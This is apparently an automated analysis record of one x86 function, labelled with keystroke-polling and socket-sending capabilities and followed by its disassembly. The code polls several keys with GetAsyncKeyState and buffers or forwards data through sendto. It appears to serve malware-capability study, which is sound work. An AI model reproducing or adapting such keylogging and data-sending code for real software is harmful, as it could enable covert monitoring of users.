Function at 0x100532bf
Capabilities:
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x18
call fcn.100554c1
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 6
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
cmp dword [ebx], 0
je 0x100533af
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
cmp dword [ebx], 0
jne 0x100533af
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x100533af
mov dword [ebp - 0x28], esp
push 0x45
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x28], esp
je 0x10053380
push 0xf2
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x100533af
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x38]
cmp dword [ebx], 0
jne 0x100533af
mov eax, 1
jmp 0x100533b4
mov eax, 0
test eax, eax
jne 0x100537df
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp dword [ebx], 0
je 0x1005346a
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
cmp dword [ebx], 0
jne 0x1005346a
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x50]
cmp dword [ebx], 0
je 0x1005346a
mov dword [ebp - 0x54], esp
push 0x46
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x54], esp
je 0x1005343b
push 0x1b1
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x1005346a
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0x64], ebx
mov ebx, dword [ebp - 0x64]
cmp dword [ebx], 1
jne 0x1005346a
mov eax, 1
jmp 0x1005346f
mov eax, 0
test eax, eax
jne 0x100537df
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0x70], ebx
mov ebx, dword [ebp - 0x70]
cmp dword [ebx], 0
je 0x10053531
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0x74], ebx
mov ebx, dword [ebp - 0x74]
cmp dword [ebx], 0
jne 0x10053531
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
cmp dword [ebx], 0
je 0x10053531
mov dword [ebp - 0x80], esp
push 0x57
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x80], esp
je 0x100534f6
push 0x270
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x10053531
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0x90], ebx
mov ebx, dword [ebp - 0x90]
cmp dword [ebx], 2
jne 0x10053531
mov eax, 1
jmp 0x10053536
mov eax, 0
test eax, eax
jne 0x100537df
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 0
je 0x10053610
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0xa0], ebx
mov ebx, dword [ebp - 0xa0]
cmp dword [ebx], 0
jne 0x10053610
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0xa8], ebx
mov ebx, dword [ebp - 0xa8]
cmp dword [ebx], 0
je 0x10053610
mov dword [ebp - 0xac], esp
push 0x41
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0xac], esp
je 0x100535d5
push 0x32f
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x10053610
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0xbc], ebx
mov ebx, dword [ebp - 0xbc]
cmp dword [ebx], 2
jne 0x10053610
mov eax, 1
jmp 0x10053615
mov eax, 0
test eax, eax
jne 0x100537df
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0xc8], ebx
mov ebx, dword [ebp - 0xc8]
cmp dword [ebx], 0
je 0x100536ef
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0xcc], ebx
mov ebx, dword [ebp - 0xcc]
cmp dword [ebx], 0
jne 0x100536ef
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0xd4], ebx
mov ebx, dword [ebp - 0xd4]
cmp dword [ebx], 0
je 0x100536ef
mov dword [ebp - 0xd8], esp
push 0x53
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0xd8], esp
je 0x100536b4
push 0x3ee
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
je 0x100536ef
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0xe8], ebx
mov ebx, dword [ebp - 0xe8]
cmp dword [ebx], 2
jne 0x100536ef
mov eax, 1
jmp 0x100536f4
mov eax, 0
test eax, eax
jne 0x100537df
mov ebx, dword [0x1008127a]
add ebx, 0xd0
mov dword [ebp - 0xf4], ebx
mov ebx, dword [ebp - 0xf4]
cmp dword [ebx], 0
je 0x100537ce
mov ebx, dword [0x1008127a]
add ebx, 0xd4
mov dword [ebp - 0xf8], ebx
mov ebx, dword [ebp - 0xf8]
cmp dword [ebx], 0
jne 0x100537ce
mov ebx, dword [0x1008127a]
add ebx, 0xbc
mov dword [ebp - 0x100], ebx
mov ebx, dword [ebp - 0x100]
cmp dword [ebx], 0
je 0x100537ce
mov dword [ebp - 0x104], esp
push 0x44
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 0x104], esp
je 0x10053793
push 0x4ad
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x100537ce
mov ebx, dword [0x1008127a]
add ebx, 0xc4
mov dword [ebp - 0x114], ebx
mov ebx, dword [ebp - 0x114]
cmp dword [ebx], 2
jne 0x100537ce
mov eax, 1
jmp 0x100537d3
mov eax, 0
test eax, eax
jne 0x100537df
xor eax, eax
jmp 0x100537e4
mov eax, 1
test eax, eax
je 0x10053999
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 4
mov dword [ebp - 0x18], ebx
push 0x80000301
push 0
push dword [ebp + 0x10]
push 0x80000301
push 0
push dword [ebp + 0xc]
push 2
mov ebx, 0x910
call fcn.100565e0
add esp, 0x1c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x18]
mov ebx, dword [ebx]
test ebx, ebx
je 0x10053842
push ebx
call fcn.100554c7
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 0x10
mov dword [ebp - 0x18], ebx
push 0x80000301
push 0
push dword [ebp + 0x1c]
push 0x80000301
push 0
push dword [ebp + 0x18]
push 2
mov ebx, 0x910
call fcn.100565e0
add esp, 0x1c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x18]
mov ebx, dword [ebx]
test ebx, ebx
je 0x100538b2
push ebx
call fcn.100554c7
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 0x14
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 0x1c]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
push 0x1008132e
push 4
mov eax, 2
call fcn.100557c0
add esp, 8
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ebx, dword [0x1008132e]
mov dword [ebp - 0x1c], ebx
call fcn.1000145f
mov dword [ebp - 0x20], ecx
mov edi, dword [ebp - 0x1c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x10053910
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x1c]
call fcn.100554df
add esp, 8
mov dword [0x1008132e], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x20]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x18]
push edi
push eax
push 0x18
call fcn.100554c1
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x1005396a
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.100554c1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x1005398b
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.100554c1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
jmp 0x10053bd8
push 0x10081212
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov ebx, dword [0x1008132e]
call fcn.1000793b
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x10053b12
mov ebx, dword [0x1008132e]
call fcn.1000793b
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1c], eax
jge 0x100539ee
jmp 0x10053b12
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x18], ebx
push dword [ebp - 0x18]
call fcn.10053c1c
mov dword [ebp - 0xc], eax
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x18], ebx
push dword [ebp - 0x18]
call fcn.10053c1c
mov dword [ebp - 0x10], eax
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x18], ebx
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x1c], ebx
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [0x1008132e]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 8]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push dword [ebp - 0x10]
mov ebx, dword [ebp - 0x20]
push dword [ebx]
mov ebx, dword [ebp - 0x1c]
push dword [ebx]
push dword [ebp - 0xc]
mov ebx, dword [ebp - 0x18]
push dword [ebx]
call dword [sym.imp.WS2_32.dll_sendto]
nop
nop
nop
nop
cmp dword [ebp - 0x28], esp
je 0x10053b0a
push 0x780
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
pop eax
pop ebx
pop ecx
jmp 0x100539bc
add esp, 0xc
mov ebx, dword [0x1008132e]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10053b36
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10053b32
imul eax, dword [ebx]
jmp 0x10053b27
mov ecx, eax
test ecx, ecx
je 0x10053b79
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10053b54
push ebx
call fcn.100554c7
add esp, 4
pop ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10053b68
push ebx
call fcn.100554c7
add esp, 4
pop ebx
call fcn.100554c7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10053b3c
call fcn.100554c7
add esp, 4
mov eax, 0x100712d9
mov dword [0x1008132e], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10053bc6
push 0x859
push 0x4018961
push 6
call fcn.100554cd
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0x10081212
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x10]
mov eax, dword [ebp - 0x14]
jmp 0x10053be0
push eax
mov ebx, dword [ebp - 4]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10053bf8
push ebx
call fcn.100554c7
add esp, 4
pop ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x10053c0c
push ebx
call fcn.100554c7
add esp, 4
pop ebx
call fcn.100554c7
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x18